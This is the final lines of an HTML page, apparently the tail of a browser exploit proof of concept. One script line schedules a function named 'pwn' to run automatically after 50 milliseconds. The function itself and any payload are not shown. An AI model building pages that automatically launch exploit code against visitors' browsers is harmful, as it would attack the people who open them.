        setTimeout(pwn, 50); 

        </script> 

    </body> 

</html> 

 


